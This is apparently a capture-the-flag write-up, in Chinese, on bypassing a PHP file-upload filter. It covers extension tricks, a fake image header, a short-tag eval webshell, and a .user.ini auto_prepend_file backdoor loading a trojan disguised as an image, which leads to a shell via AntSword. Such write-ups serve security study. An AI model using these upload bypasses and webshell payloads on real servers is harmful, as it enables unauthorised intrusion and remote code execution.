文件上传,发现对文件的后缀名进行了过滤,php,phtml.php3等都不行
尝试.php. 绕过 (windows中会把后缀名最后的空格和. 省略,即上传.php.绕过后会变为.php)
又发现对上传文件的内容进行了验证,加入图片头。
还是上传失败,
对上传内容逐一实验,发现上传的内容不能有php字符(.htaccess也不能使用了,文件内容包含有php字符)
使用短标签绕过
=eval($_POST['a']);?>
成功上传
但不能访问,提示File not found。
进一步验证,发现除了index.php可以访问, 其余的.php文件都不能访问,这意味着即使我们成功上传了一个包含一句话漏洞的php文件,我们也无法用蚁剑连接。因为php文件是无法访问的。
具体参考.user.ini文件构成的PHP后门 - phith0n (wooyun.js.org)
auto_prepend_file的用法:
auto_prepend_file可以让所有的php文件自动的包含某个文件。什么意思?
例如在.user.ini文件中写入
auto_prepend_file=a.jpg
然后在a.jpg中写入一个一句话代码
那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。
将写好的.user.ini文件上传,修改coontent-type为图片格式
再上传一个写有一句木马的图片上去
使用蚁剑连接拿到flag
来源地址:https://blog.csdn.net/m0_56107268/article/details/127869260